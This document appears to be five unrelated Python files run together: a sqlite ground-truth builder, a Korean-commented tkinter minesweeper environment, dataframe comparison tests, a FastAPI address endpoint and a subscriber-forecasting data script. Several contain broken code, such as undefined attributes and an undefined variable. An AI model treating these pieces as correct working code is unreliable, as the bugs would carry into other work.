__version__ = "0.2.1"

import collections
import sqlite3
import logging
import os

_logger = logging.getLogger(os.path.basename(__file__))

import differ_func_library

def get_slice_type(cursor, node_id_triplet):
    cursor.execute("""
SELECT
  slicetype
FROM
  slice.slice
WHERE
  osetid = ? AND
  appetid = ? AND
  sliceid = ?
;""", node_id_triplet)
    rows = [row for row in cursor]
    if len(rows) == 0:
        _logger.debug("node_id_triplet = %r." % (node_id_triplet,))
    #_logger.debug("rows = %r." % rows)
    return rows[0]["slicetype"]

def doc_name_from_nit_and_st(node_id_triplet, slicetype):
    (osetid, appetid, sliceid) = node_id_triplet
    if args.by_osapp:
        doc_id = (osetid, appetid, slicetype)
    else:
        doc_id = (appetid, slicetype)
    doc_name = "/".join(doc_id)
    return doc_name

def main():
    #Key: Sequence label.
    #Value: List, tuples: (node ID, slice type).
    sequences = collections.defaultdict(list)

    conn = sqlite3.connect(args.out_db)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()

    cursor.execute("CREATE TABLE ground_truth_positive (node_id TEXT, doc_name TEXT);")
    conn.commit()

    cursor.execute("ATTACH DATABASE %r AS namedsequence;" % args.namedsequence_db)
    cursor.execute("ATTACH DATABASE %r AS slice;" % args.slice_db)

    doc_names = set()

    #Build a dictionary of the sequences to sample.
    cursor.execute("""
SELECT
  *
FROM
  namedsequence.namedsequence
WHERE
  sequencelabel LIKE 'installclose-%'
ORDER BY
  sequencelabel,
  sliceid
;""")
    rows = [row for row in cursor]
    for row in rows:
        if len(sequences[row["sequencelabel"]]) == 0:
            predecessor_node_id = None
            predecessor_node_id = "%(predecessor_osetid)s-%(predecessor_appetid)s-%(predecessor_sliceid)d" % row
            predecessor_slicetype = get_slice_type(cursor, (row["predecessor_osetid"], row["predecessor_appetid"], row["predecessor_sliceid"]))
            sequences[row["sequencelabel"]].append((predecessor_node_id, predecessor_slicetype))
        node_id = "%(osetid)s-%(appetid)s-%(sliceid)d" % row
        slicetype = get_slice_type(cursor, (row["osetid"], row["appetid"], row["sliceid"]))
        sequences[row["sequencelabel"]].append((node_id, slicetype))

        #Note that the baseline image is not given a document.
        doc_name = doc_name_from_nit_and_st((row["osetid"], row["appetid"], row["sliceid"]), slicetype)
        doc_names.add(doc_name)

    _logger.debug(repr(sequences))

    for sequence in sorted(sequences.keys()):
        #Reset for each sequence.
        ground_truth_positive_documents = set()
        for (node_id, slicetype) in sequences[sequence]:
            _logger.debug("node_id = %r." % node_id)
            (osetid, appetid, sliceid) = differ_func_library.split_node_id(node_id)
            maybe_doc_name = doc_name_from_nit_and_st((osetid, appetid, sliceid), slicetype)
            #Accumulate document ID's - the signature has been present in the sequence.
            if maybe_doc_name in doc_names:
                ground_truth_positive_documents.add(maybe_doc_name)

            for doc_name in ground_truth_positive_documents:
                _logger.debug("doc_name = %r." % (doc_name,))
                cursor.execute("INSERT INTO ground_truth_positive(node_id, doc_name) VALUES (?,?);", (node_id, doc_name))

    conn.commit()

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--debug", action="store_true")
    parser.add_argument("namedsequence_db")
    parser.add_argument("slice_db")
    parser.add_argument("out_db")

    docsby_group = parser.add_mutually_exclusive_group(required=True)
    docsby_group.add_argument("--by-app", action="store_true", help="Group document names by AppETID and SliceType.")
    docsby_group.add_argument("--by-osapp", action="store_true", help="Group document names by OSETID, AppETID, and SliceType.")

    args = parser.parse_args()

    logging.basicConfig(level=logging.DEBUG if args.debug else logging.INFO)

    main()


import enum
import time
import numpy as np
import tkinter as tk
from PIL import ImageTk, Image
# python3에서는 pillow로 대체 되었다. pillow 설치하고 이렇게 사용해도 된다.

np.random.seed(1)
PhotoImage = ImageTk.PhotoImage # 사진을 object로 받을 것이라는 의미
CellPerPixel = 50  # 셀 당 픽셀 (한 셀의 크기)
CellCenter = 25 # CellPerPixel / 2 # 셀 중앙 위치(픽셀)
MapWidth = 14  # 그리드 월드 가로셀 갯수 14열
MapHeight = 9  # 그리드 월드 세로셀 갯수 9행
mine = 2 # 전체 지뢰갯수
flag = mine # 전체 깃발갯수, 나중에 깃발 갯수와 지뢰위치가 같으면 승리

# 논리적 맵 좌표
# 2차원 리스트에 접근할때 조심 - 헷갈리기 쉬움.
# map[row][col] 으로 접근해야 함. 좌표는 (x, y)
map = [[0 for col in range(MapWidth+2)] for row in range(MapHeight+2)] # 맵을 만들자. count 유틸함수 때문에 +2
flag_map = [[0 for col in range(MapWidth)] for row in range(MapHeight)] # 깃발 여부만 체크하는 맵
visit = [[0 for col in range(MapWidth)] for row in range(MapHeight)] # 자동 열기 검출용 방문 여부 빈공간 클릭시 초기화하고 전체 영역 검사
dir = [[0,1],[0,-1],[1,0],[-1,0]]

class ActionType(enum.Enum):
    UP = 0
    DOWN = 1
    LEFT = 2
    RIGHT = 3
    BREAK = 4
    FLAG = 5

class Env(tk.Tk): #tkinter module 상속받기

    # 생성자
    def __init__(self):
        super(Env, self).__init__() #tkinter module의 생성자 실행
        self.action_space = ['u', 'd', 'l', 'r']
        self.n_actions = len(self.action_space)
        self.title('MI_TF_Project 9*14 size_map')
        self.geometry('{0}x{1}'.format(MapWidth * CellPerPixel, MapHeight * CellPerPixel)) # setting window_size
        self.shapes = self.load_images()
        self.canvas = self._build_canvas()
        self.texts = []

        self.IsBombTouch = False
        self.currAct = ActionType.RIGHT # 주인공 초기 방향
        self.currCellPos = [0, 0]   # 주인공 초기 위치

    # canvas 그리는 method
    def _build_canvas(self):
        canvas = tk.Canvas(self, bg='white', height = MapHeight * CellPerPixel, width = MapWidth * CellPerPixel)
        canvas.pack()

        # 가로 방향으로 움직이면서 세로 선 한 칸씩 그리기 : 0, 800, 100
        # 시점=(x0, y0), 종점=(x1, y1)
        # line 그릴 때 for loop에서 0을 반드시 추가...
        for c in range(0, MapWidth * CellPerPixel, CellPerPixel):
            x0, y0, x1, y1 = c, 0, c, MapHeight * CellPerPixel
            canvas.create_line(x0, y0, x1, y1)

        # 세로 방향으로 움직이면서 가로 선 한 칸씩 선 그리기 : 0, 1300, 100
        for r in range(0, MapHeight * CellPerPixel, CellPerPixel):
            x0, y0, x1, y1 = 0, r, MapWidth * CellPerPixel, r
            canvas.create_line(x0, y0, x1, y1)

        # 캔버스에 이미지 추가, 이미지가 나타날 좌표와 대상 정하기.
        # self.shapes가 하나의 list로 image file을 원소로 하는 tuple
        x = CellCenter
        y = CellCenter
        self.player = canvas.create_image(x, y, image=self.shapes[0]) # player

        '''
        # 처음부터 지뢰 위치를 표시할지
        for row in range(MapHeight):
            for col in range(MapWidth):
                if(map[row][col] == -1):
                    tempPixel = self.CellToPixel([row, col])
                    self.bomb = canvas.create_image(tempPixel[0], tempPixel[1], image=self.shapes[1]) # mine
        '''

        x = (MapWidth * CellPerPixel) - CellCenter
        y = (MapHeight * CellPerPixel) - CellCenter
        self.goal = canvas.create_image(x, y, image=self.shapes[2]) # goal

        return canvas

    # canvas에 넣을 img file object로 불러오는 method
    def load_images(self):
        player = PhotoImage(Image.open("img/agent.png").resize((35, 35)))
        bomb = PhotoImage(Image.open("img/mine.png").resize((35, 35)))
        goal = PhotoImage(Image.open("img/finish.png").resize((35, 35)))
        return player, bomb, goal

    # 픽셀에서의 위치 -> state 좌표로 변환 method
    def coords_to_state(self, coords):
        x = int((coords[0] - 50) / 100)
        y = int((coords[1] - 50) / 100)
        return [x, y]

    # 움직이는 놈인 rectangle을 시작점에 놓기
    def reset(self):
        self.update()
        time.sleep(0.5)
        x, y = self.canvas.coords(self.rectangle) # 픽셀 단위 좌표 return
        self.canvas.move(self.rectangle, CellPerPixel / 2 - x, CellPerPixel / 2 - y) # object를 설정한 픽셀 좌표로 움직이게
        self.render()
        return self.coords_to_state(self.canvas.coords(self.rectangle))

    # agent의 action 결정은 sarsa_agent.py에서 하고 여기에선 결정 난 action을 좌표평면에 표시해주는 역할을 한다.
    def step(self, action):
        state = self.canvas.coords(self.rectangle)
        base_action = np.array([0, 0])
        self.render()

        # state를 index화 하였지만 실제로 작동될 때는 pixel 값을 기준으로 한 좌표로 계산 된다.
        if action == 0:  # 상
            if state[1] > CellPerPixel: # map의 경계선 확인
                base_action[1] -= CellPerPixel
        elif action == 1:  # 하
            if state[1] < (MapHeight - 1) * CellPerPixel:
                base_action[1] += CellPerPixel
        elif action == 2:  # 좌
            if state[0] > CellPerPixel:
                base_action[0] -= CellPerPixel
        elif action == 3:  # 우
            if state[0] < (MapWidth - 1) * CellPerPixel:
                base_action[0] += CellPerPixel

        # 에이전트 이동 : canvas.move가 agent를 이동하게 해주는 핵심적인 method이다.
        # 따로 저장하지 않아도 object에 변화된 값이 적용된다.
        self.canvas.move(self.rectangle, base_action[0], base_action[1])

        # 에이전트(빨간 네모)를 가장 상위로 배치 : 마치 한글에서 맨 앞으로 배치와 같다.
        self.canvas.tag_raise(self.rectangle)

        # 픽셀 값 좌표로 return.
        next_state = self.canvas.coords(self.rectangle)

        # 보상 함수
        if next_state == self.canvas.coords(self.circle):
            reward = 1000
            done = True ; sucess=0
        elif next_state in [self.canvas.coords(self.triangle1), self.canvas.coords(self.triangle2), self.canvas.coords(self.triangle3)]: # fail case 설정
            reward = -100
            done = True ; sucess=1
        else:
            reward = 0
            done = False ; sucess=2

        next_state = self.coords_to_state(next_state)

        # 결국 가장 핵심적인 내용은 모든 요소들을(map, agent, obstacle) 좌표화 하는 것이다.
        return next_state, reward, done, sucess

    def render(self):
        time.sleep(0.03)
        self.update()

    # 0이 아닌것이 나올때까지 찾는 함수
    def DFS(self, row, col):
        if(col < 0 or col >= MapWidth):
            return 0
        if(row < 0 or row >= MapHeight):
            return 0
        if flag_map[row][col] == 1:
           return 0

        if visit[row][col] == 0: # 한번도 방문 안한 위치라면
            visit[row][col] = 1 # 방문변수 체크후

            if(not map[row][col] == -1): # 맵 데이터가 폭탄이 아니라면
                data = map[row][col] # 맵 데이터 보여주기
                pixelcoords = self.CellToPixel([row, col])
                self.canvas.create_text(pixelcoords[0], pixelcoords[1]+5, font="Times 12 italic bold", text=str(data))
                #buttonchk[indy][indx] = 1 # 버튼이 눌렸다고 체크

            if(map[row][col] > 0): # 맵 데이터가 빈칸이 아니라면 DSF종료
                return 0

            for i in range(4): # 맵데이터가 비어있다면
                #dir = [[0,1],[0,-1],[1,0],[-1,0]]
                self.DFS(row+dir[i][0], col+dir[i][1]) # 현재 위치 기준 사방 각 블록 체크
        else:
            return 0

    # 픽셀값을 셀 인덱스 값으로 변환해서 돌려줌.
    # 주의할것은 좌표는 [x, y], 셀 인덱스는 [row, col]
    def PixelToCell(self, p_coords):
        cellX = int(p_coords[1] / CellPerPixel)
        cellY = int(p_coords[0] / CellPerPixel)
        return [cellX, cellY]

    # 셀 픽셀값으로 변환해서 돌려줌. 이때 계산 편의성 때문에 셀 중앙값으로 변환
    # 주의할것은 좌표는 [x, y], 셀 인덱스는 [row, col]
    def CellToPixel(self, c_coords):
        pixelX = int(c_coords[1] * CellPerPixel) + CellCenter
        pixelY = int(c_coords[0] * CellPerPixel) + CellCenter
        return [pixelX, pixelY]

    # 셀 인덱스값을 받아서 폭탄인지 체크
    # 주의할것은 좌표는 [x, y], 셀 인덱스는 [row, col]
    def CheckBomb(self, c_coords):
        row = int(c_coords[0])
        col = int(c_coords[1])
        if(map[row][col] == -1):
            return True
        else:
            return False

    # 현재 세팅되어 있는 액션 방향의 다음 셀의 좌표을 얻어옴
    # 주의할것은 좌표는 [x, y], 셀 인덱스는 [row, col]
    def GetNextCell(self):
        if(self.currAct == ActionType.UP):
            tempCellPos = [self.currCellPos[0]-1, self.currCellPos[1]]
        elif(self.currAct == ActionType.DOWN):
            tempCellPos = [self.currCellPos[0]+1, self.currCellPos[1]]
        elif(self.currAct == ActionType.LEFT):
            tempCellPos = [self.currCellPos[0], self.currCellPos[1]-1]
        elif(self.currAct == ActionType.RIGHT):
            tempCellPos = [self.currCellPos[0], self.currCellPos[1]+1]

        return tempCellPos

    # 맵 가장자리 바깥체크 (입력한 좌표가 바깥으로 나갔다면 True)
    def CheckMapOutBound(self, c_coords):
        if(c_coords[0] < 0 or c_coords[0] > MapWidth or
           c_coords[1] < 0 or c_coords[1] > MapHeight):
           print("CheckMapOutBound... True")
           return True
        else:
            print("CheckMapOutBound... False")
            return False

    # Action값이 Break, Flag 라면 현재바라보는 방향의 다음 셀을 좌표로 받음
    def GetActionResult(self, act):
        print("GetActionResult : ", act)

        # 이 부분은 처리 애매함...
        # 가장자리라면 에이전트에 값을 주지 말아야할지등 처리방법 정해야 함.
        #if(act == ActionType.BREAK or act == ActionType.FLAG): # 맵의 가장자리 체크
        #    IsMapOut = self.CheckMapOutBound(self.GetNextCell())
        #    if(IsMapOut == True):
        #        return

        if(act == ActionType.BREAK):
            self.IsBombTouch = self.CheckBomb(self.GetNextCell()) # 폭탄 체크
            if(self.IsBombTouch == True): # 폭탄 건드리면 게임오버
                return
            else:
                # 맵 열기
                return

        elif(act == ActionType.FLAG):
            # 맵에 깃발 꽂기
            self.Act_Flag(self.GetNextCell())
            return

        else: # 방향값을 받으면 다음 셀의 픽셀값을 리턴
            tempCellCoord = self.GetNextCell()
            tempPixel = self.CellToPixel(tempCellCoord)

        #print("Action 액션값에 따라 숫자리스트, 다음셀의 좌표, 깃발표시등을 리턴")
        print("Action number list, next cell coords, flag")

    def LClick(self, event):
        x = event.x
        y = event.y
        #print("LClick [", x, y, "] ---> ", "Cell ", self.PixelToCell([x, y]))
        self.Act_Break(self.PixelToCell([x, y]))

    def RClick(self, event):
        x = event.x
        y = event.y
        #print("RClick [", x, y, "] ---> ", "Cell ", self.PixelToCell([x, y]))
        self.Act_Flag(self.PixelToCell([x, y]))

    # 블록 깨기
    def Act_Break(self, c_coords):
        print("Act_Break...", c_coords)

        row = c_coords[0]
        col = c_coords[1]
        pixelcoords = self.CellToPixel([row, col])

        if(flag_map[row][col] == 0): # 깃발이 없으면
            if(map[row][col] == -1): # 폭탄이라면
                self.Game_Over()
            elif(map[row][col] == 0): # 빈공간이라면
                data = map[row][col]
                self.canvas.create_text(pixelcoords[0], pixelcoords[1]+5, font="Times 12 italic bold", text=str(data))
                self.clear() # visit 데이터 초기화
                self.DFS(row, col) # 빈공간 처리 실행
            else:
                data = map[row][col]
                self.canvas.create_text(pixelcoords[0], pixelcoords[1]+5, font="Times 12 italic bold", text=str(data))

    def clear(self):
        for row in range(MapHeight):
                for col in range(MapWidth):
                    visit[row][col] = 0

    # 깃발 꽂기
    def Act_Flag(self, c_coords):
        #print("Act_Flag...", c_coords)
        global flag
        cnt = 0

        row = c_coords[0]
        col = c_coords[1]
        pixelcoords = self.CellToPixel([row, col])

        if(not flag_map[row][col] == 1):
            self.canvas.create_text(pixelcoords[0], pixelcoords[1], font="Times 15", text="X", tags="flag{0}{1}".format(row, col))
            flag_map[row][col] = 1
            flag -= 1
        else:
            self.canvas.delete("flag{0}{1}".format(row, col))
            flag_map[row][col] = 1
            flag += 1

        if(flag == 0):
            for row in range(MapHeight):
                for col in range(MapWidth):
                    if(not map[row][col] == -1):
                        cnt += 1

            if cnt == MapWidth * MapHeight - mine:
                self.Game_Clear()

    def Game_Clear():
        print("Win!")

    def Game_Over():
        print("lose....")

    #def GetRewardState(act):
    #    if(act == ActionType.BREAK)
    #        if(폭탄인지 체크)
    #    print("액션값에 따라 reward, done, success 값을 세팅해서 리턴")

    def MapAllView(self, event):
        Cellidx = 0
        for row in range(MapHeight):
            for col in range(MapWidth):

                # 셀인덱스
                tempPixelPos = self.CellToPixel([row, col])
                self.canvas.create_text(tempPixelPos[0], tempPixelPos[1]-10, font="Times 8", text=str(Cellidx), tags="Cellidx")

                # 맵데이터
                data = map[row][col]
                self.canvas.create_text(tempPixelPos[0], tempPixelPos[1]+5, font="Times 12 italic bold", text=str(data), tags="MapData")
                Cellidx+=1

    def MapAllHide(self, event):
        self.canvas.delete("Cellidx", "MapData")
        #print("MapAllHide")

    # 왼쪽 버튼 클릭시 0의 위치이면 근처의 0의 위치를 모두 찾아서 셋팅하자.

# 유틸 함수
# 사방의 지뢰의 갯수를 세어서 리턴하자
def count(row, col):
    cnt_ = 0
    if(map[row + 1][col] == -1):
        cnt_ += 1
    if(map[row - 1][col] == -1):
        cnt_ += 1
    if(map[row][col + 1] == -1):
        cnt_ += 1
    if(map[row][col - 1] == -1):
        cnt_ += 1

    if(map[row + 1][col + 1] == -1):
        cnt_ += 1
    if(map[row + 1][col - 1] == -1):
        cnt_ += 1
    if(map[row - 1][col + 1] == -1):
        cnt_ += 1
    if(map[row - 1][col - 1] == -1):
        cnt_ += 1
    return cnt_

# 맵을 0으로 초기화 하자
for row in range(MapHeight):
    for col in range(MapWidth):
        map[row][col] = 0

# 폭탄 세팅
map[1][1] = -1
map[2][2] = -1

# 지뢰 갯수를 세어서 맵에 세팅하자
# 지뢰 주변에 번호 세팅
for row in range(MapHeight):
    for col in range(MapWidth):
        if(map[row][col] == 0):
            map[row][col] = count(row, col)

# --------------------------------- 이하 테스트 코드

env = Env()
# 맵 전체 보여주기
# "A"키 누르기
env.bind('a', env.MapAllView)
env.bind('h', env.MapAllHide)

# 변환 테스트
#print("PixelToCell : ", env.PixelToCell([51, 25]))
#print("CellToPixel : ", env.CellToPixel([1, 0]))
#print("CellToPixel : ", env.CellToPixel([0, 2]))

# 빈공간 클릭 테스트

# 깃발 테스트

# 액션 함수 테스트
#env.GetActionResult(ActionType.UP)
#env.GetActionResult(ActionType.LEFT)
#env.GetActionResult(ActionType.RIGHT)
#env.GetActionResult(ActionType.BREAK)
#env.GetActionResult(ActionType.FLAG)

# 클릭 테스트
env.bind('<Button-1>', env.LClick) # 추후 일반 액션에 대응
env.bind('<Button-3>', env.RClick) # 추후 깃발꽂기 액션에 대응

env.mainloop()


from __future__ import annotations

from typing import Any

import pandas as pd
import pytest

from tests.utils import convert_series_to_pandas_numpy
from tests.utils import integer_dataframe_1
from tests.utils import integer_dataframe_7
from tests.utils import interchange_to_pandas

@pytest.mark.parametrize(
    ("comparison", "expected_data"),
    [
        ("__eq__", [True, True, False]),
        ("__ne__", [False, False, True]),
        ("__ge__", [True, True, False]),
        ("__gt__", [False, False, False]),
        ("__le__", [True, True, True]),
        ("__lt__", [False, False, True]),
        ("__add__", [2, 4, 7]),
        ("__sub__", [0, 0, -1]),
        ("__mul__", [1, 4, 12]),
        ("__truediv__", [1, 1, 0.75]),
        ("__floordiv__", [1, 1, 0]),
        ("__pow__", [1, 4, 81]),
        ("__mod__", [0, 0, 3]),
    ],
)
def test_column_comparisons(
    library: str,
    comparison: str,
    expected_data: list[object],
) -> None:
    ser: Any
    df = integer_dataframe_7(library)
    ser = df.get_column_by_name("a")
    other = df.get_column_by_name("b")
    result = df.insert(0, "result", (getattr(ser, comparison)(other)))
    result_pd = interchange_to_pandas(result, library)["result"]
    expected = pd.Series(expected_data, name="result")
    result_pd = convert_series_to_pandas_numpy(result_pd)
    pd.testing.assert_series_equal(result_pd, expected)

@pytest.mark.parametrize(
    ("comparison", "expected_data"),
    [
        ("__eq__", [False, False, True]),
        ("__ne__", [True, True, False]),
        ("__ge__", [False, False, True]),
        ("__gt__", [False, False, False]),
        ("__le__", [True, True, True]),
        ("__lt__", [True, True, False]),
        ("__add__", [4, 5, 6]),
        ("__sub__", [-2, -1, 0]),
        ("__mul__", [3, 6, 9]),
        ("__truediv__", [1 / 3, 2 / 3, 1]),
        ("__floordiv__", [0, 0, 1]),
        ("__pow__", [1, 8, 27]),
        ("__mod__", [1, 2, 0]),
    ],
)
def test_column_comparisons_scalar(
    library: str,
    comparison: str,
    expected_data: list[object],
) -> None:
    ser: Any
    df = integer_dataframe_1(library)
    ser = df.get_column_by_name("a")
    other = 3
    result = df.insert(0, "result", (getattr(ser, comparison)(other)))
    result_pd = interchange_to_pandas(result, library)["result"]
    expected = pd.Series(expected_data, name="result")
    result_pd = convert_series_to_pandas_numpy(result_pd)
    pd.testing.assert_series_equal(result_pd, expected)

def test_invalid_comparison() -> None:
    df1 = integer_dataframe_1("polars-lazy")
    df2 = integer_dataframe_1("polars-lazy")
    with pytest.raises(ValueError):
        _ = df1.get_column_by_name("a") > df2.get_column_by_name("a")


from database import engine, SessionLocal
from fastapi import APIRouter, Depends
from typing import Optional
from pydantic import BaseModel
from sqlalchemy.orm import Session
from .auth import current_user, token_exception
import models
import sys
sys.path.append("..")

router = APIRouter(
    prefix='/address',
    tags=['address'],
    responses={404: {"message": "Not Found"}}
)

#

def get_db():
    try:
        db = SessionLocal()
        yield db
    finally:
        db.close()  # type: ignore

class Address(BaseModel):
    address1: str
    address2: str
    city: str
    state: str
    country: str
    pincode: str

@router.post("/")
async def create_address(address: Address, user: dict = Depends(current_user), db: Session = Depends(get_db)):
    if user is None:
        raise token_exception("user not found")
    address_model = models.Address()
    address_model.address1 = address.address1  # type: ignore
    address_model.address2 = address.address2  # type: ignore
    address_model.city = address.city  # type: ignore
    address_model.state = address.state  # type: ignore
    address_model.country = address.country  # type: ignore
    address_model.pincode = address.pincode  # type: ignore

    db.add(address_model)
    db.flush()
    user_model = db.query(models.Users).filter(
        models.Users.id == user.get('id')).first()
    user_model.address_id = address_model.id  # type: ignore

    db.add(user_model)
    db.commit()


# load base packages
import os
import pandas as pd
import numpy as np
from sklearn.cross_validation import train_test_split
import random
random.seed(540)

# set working directory
path = "/Users/jordanbaker/Documents/School/University of Virginia/Capstone Project/Data"
os.chdir(path)

#########################
###### DATA READ IN #####
#########################

### MULTICHANNERL MASTER ###
master = pd.read_excel("SP-US-Multichannel-Master.xls")
master = master[6:128]
master = master.transpose()
master = master.set_index(6)
master.columns = master.iloc[0]
master = master.drop(master.index[[0,46]])
master = master.drop(master.columns[[0,7,16,25,33,41,50,55,65,75,81,85,92,99,102,107,112,117]], axis=1)
################

### DEMOGRAPHICS ###
demographics = pd.read_csv("CountyDemographics.csv")
demographics.fips = demographics.fips.apply(lambda x: x[1:-1]) # remove quotation marks
###############

### OPERATOR SUBS BY COUNTY ###
opsub = pd.read_table("Operator Subs by Block Group.rpt", sep = '|')
opsub = opsub[1:] # remove the NA row

opsub['Year'] = opsub.DateEndedStandard.str[0:4] # create a year column
opsub['quarter'] = opsub.DateEndedStandard.astype(str) # create a quarter column
opsub.quarter = opsub.quarter.apply(lambda x: x[5:]) # clean the quarter column
opsub = opsub[opsub.quarter == '3/31'] # subset by Q1
# Q1 was selected randomly as the 2016 data did not contain all quarters

opsub.BlockGroupFIPS = opsub.BlockGroupFIPS.astype(str) # set CBG FIPS codes to strings
opsub['fips'] = opsub.BlockGroupFIPS.astype(str) # create a FIPS column for county

# add on leading 0 as necessary (identified by length of FIPS code)
# returns 5 digit FIPS codes for counties
def fips_update(fips):
    if (len(fips) == 13):
        return '0' + fips[0:-9]
    elif (len(fips) == 14):
        return fips[0:-9]

# apply that function to the newly created FIPS column
opsub.fips = opsub.fips.map(fips_update)

# group by FIPS, ShortName, and Year
opsub_sum = opsub.groupby(['fips', 'ShortName', 'Year']).sum().reset_index()
################

#########################
### DATA MANIPULATION ###
#########################

### BACKFILLING DATA ###
backfill = master[['Multichannel Subscribers']] # row 128 from the spreadsheet
backfill_dates = list(range(1980,2025,1)) # grab dates from 1980 to 2024 (span of file)
backfill.index = backfill_dates # set those dates as the file index
backfill = backfill[(backfill.index > 2006) & (backfill.index < 2013)] # subset the file to the backfill dates we need

dist = opsub_sum[opsub_sum.Year == '2013'] # use 2013 as the distribution year
dist = dist[['fips', 'ShortName', 'SubscribersVideoEstimate']] # only keep necessary columns

# calculate the percentage (market share) for each observation
denom = dist.SubscribersVideoEstimate.sum()
dist['percent'] = dist.SubscribersVideoEstimate/denom

# create empty dataframe for imputed data
subs_impute = pd.DataFrame()

# use distributions and national subscriber totals to backfill 2007 - 2012
for i in range(2007,2013):
    temp_data = dist[['fips', 'ShortName', 'percent']]
    temp_subs = backfill[backfill.index == i]
    temp_subs = float(temp_subs.iloc[0])
    temp_data[str(i)] =  temp_data.percent * temp_subs
    subs_impute = pd.concat([subs_impute, temp_data], axis=1)

# remove the few NA observations
subs_impute = subs_impute.loc[:,~subs_impute.columns.duplicated()]
################

### JOINING BACKFILL AND OPSUB_SUM ###
agg = opsub_sum
years = list(range(2007,2013,1))

# set the number of years to be backfilled
backfill_years = 5

# subs_impute data is stored differently (in columns) than the non-backfill years
# this loop goes through and merges all data together
for i in range(0,backfill_years+1):
    temp_data = pd.DataFrame(subs_impute[['fips','ShortName', str(years[i])]])
    temp_data['Year'] = str(years[i])
    temp_data.columns = ['fips','ShortName', 'SubscribersVideoEstimate', 'Year']
    temp_data = temp_data[['fips','ShortName', 'Year', 'SubscribersVideoEstimate']]
    temp_data = temp_data.reset_index(drop=True)
    agg = agg.append(temp_data)

agg = agg.reset_index(drop=True)

# remove the space from this column name
agg.columns.values[1] = 'ShortName'
################

### FEATURE ENGINEERING ###
s_fips = []
s_year = []
s_provider = []
s_shares = []

# go through line by line of the aggregate file and compute the subs for that given observation divided by the subs for that county
# this gives us the market share for each service provider
for i in range(0,len(agg)):
    temp_fips = agg.fips[i]
    temp_year = agg.Year[i]
    temp_provider = agg.ShortName[i]
    temp_subs = agg.SubscribersVideoEstimate[i]
    temp_sum = np.sum(agg.SubscribersVideoEstimate[(agg.fips == temp_fips) & (agg.Year == temp_year)])
    temp_share = temp_subs/temp_sum

    s_fips.append(temp_fips)
    s_year.append(temp_year)
    s_provider.append(temp_provider)
    s_shares.append(temp_share)

# create the shares dataframe
shares = pd.DataFrame({'fips': s_fips, 'Year': s_year, 'ShortName':s_provider, 'Share':s_shares})
################

#########################
##### FILE CREATION #####
#########################

# agg_final will represent the 5-year file used to train on
# agg_forecast will represent the 5-year file used to forecast future values on

### CREATING MODELING FILES ###
agg_final = agg
agg_final.Year = pd.to_numeric(agg_final.Year)

# subset subs from 2012-2016
# subtract 5 from each year to easily match with lagged demographics values
agg_final = agg_final[(agg_final.Year > 2011) & (agg_final.Year < 2017)]
agg_final.Year = agg_final.Year - 5
agg_final.Year = agg_final.Year.apply(str)

# subset shares to be from 2007-2011
final_shares = shares[shares.Year < '2012']

# create a unique key for each file type
# merge subscribers with share values
agg_final["key"] = agg_final.fips + agg_final.ShortName + agg_final.Year
final_shares["key"] = final_shares.fips + final_shares.ShortName + final_shares.Year
agg_final = agg_final.merge(final_shares, how='left', on='key')

# drop necessary columns
# rename columns
drops = ['key', 'ShortName_y', 'Year_y', 'fips_y']
agg_final = agg_final.drop(drops, 1)
names = ['fips', 'ShortName', 'Year', 'SubscribersVideoEstimate', 'Share']
agg_final.columns = names

# subset the demographics from 2007-2011
agg_demo = demographics[(demographics.year < 2012) & (demographics.year > 2006)]
agg_demo.year = agg_demo.year.astype(str)

# create a unique key for each file type
# merge subscribers with lagged demographic values
agg_final["key"] = agg_final.fips + agg_final.Year
agg_demo["key"] = agg_demo.fips + agg_demo.year
agg_final = agg_demo.merge(agg_final, how='left', on='key')
################

### CLEANING AGG_FINAL ###
# repurpose demograhicsasof to a column that represents the forecast year (5 years in future)
agg_final = agg_final.rename(columns={'demographicasof':'ForecastYear'})
agg_final.ForecastYear = agg_final.ForecastYear + 5

# drop unnecessary columns
drops = ['UpdOperation', 'UpdDate', 'UpdDateApproved', 'CurrencyBOPDate',
         'CurrencyEOPDate', 'KeyGeoEntity', 'year',
         'Year', 'key', 'fips_y', 'KeyDemographicGeo']
agg_final = agg_final.drop(drops, 1)

# turn service provider names into category codes
agg_final['ShortName'] = agg_final['ShortName'].astype('category')
agg_final['ShortName'] = agg_final['ShortName'].cat.codes

# reorder columns
colnames = agg_final.columns.tolist()
colnames = colnames[0:2] + colnames[-1:] + colnames[2:-1]
agg_final = agg_final[colnames]

# remove missing observations (only a few)
agg_final = agg_final[~np.isnan(agg_final.Share)]
agg_final = agg_final[~np.isnan(agg_final.SubscribersVideoEstimate)]
agg_final = agg_final.dropna(axis=1, how='any')
################

### CREATING FORECASTING FILES ###
agg_forecast = agg
agg_forecast.Year = pd.to_numeric(agg_forecast.Year)
agg_forecast = agg_forecast[(agg_forecast.Year > 2011) & (agg_forecast.Year < 2017)]
agg_forecast.Year = agg_forecast.Year.apply(str)

# subset shares to be from 2012-2016
forecast_shares = shares[shares.Year > '2011']

# subset the demographics from 2012-2016
forecast_demo = demographics[(demographics.year > 2011) & (demographics.year < 2017)]
forecast_demo.year = forecast_demo.year.astype(str)

# create a unique key for each file type
# merge shares with lagged demographic values
forecast_shares["key"] = forecast_shares.fips + forecast_shares.Year
forecast_demo["key"] = forecast_demo.fips + forecast_demo.year
agg_forecast = forecast_demo.merge(forecast_shares, how='left', on='key')
################

### CLEANING AGG_FORECAST ###
# repurpose demograhicsasof to a column that represents the forecast year (5 years in future)
agg_forecast = agg_forecast.rename(columns={'demographicasof':'ForecastYear'})
agg_forecast.ForecastYear = agg_forecast.ForecastYear + 5

# drop unnecessary columns
drops = ['UpdOperation', 'UpdDate', 'UpdDateApproved', 'CurrencyBOPDate',
         'CurrencyEOPDate', 'KeyGeoEntity', 'year',
         'Year', 'key', 'fips_y', 'KeyDemographicGeo']
agg_forecast = agg_forecast.drop(drops, 1)

# turn service provider names into category codes
agg_forecast['ShortName'] = agg_forecast['ShortName'].astype('category')
agg_forecast['ShortName'] = agg_forecast['ShortName'].cat.codes

# remove missing observations (only a few)
agg_forecast = agg_forecast[~np.isnan(agg_forecast.Share)]
agg_forecast = agg_forecast.dropna(axis=1, how='any')
################

### MATCHING COLUMNS IN BOTH FILES ###
# a few columns (older features) weren't tracked throughout all years
# this removes those columns so that the models won't run into any issues with extra columns

keep = agg_final.columns
cols = [col for col in agg_forecast.columns if col in temp1]
agg_forecast = agg_forecast[cols]

# check this list in future years to ensure it includes all columns that need to be dropped
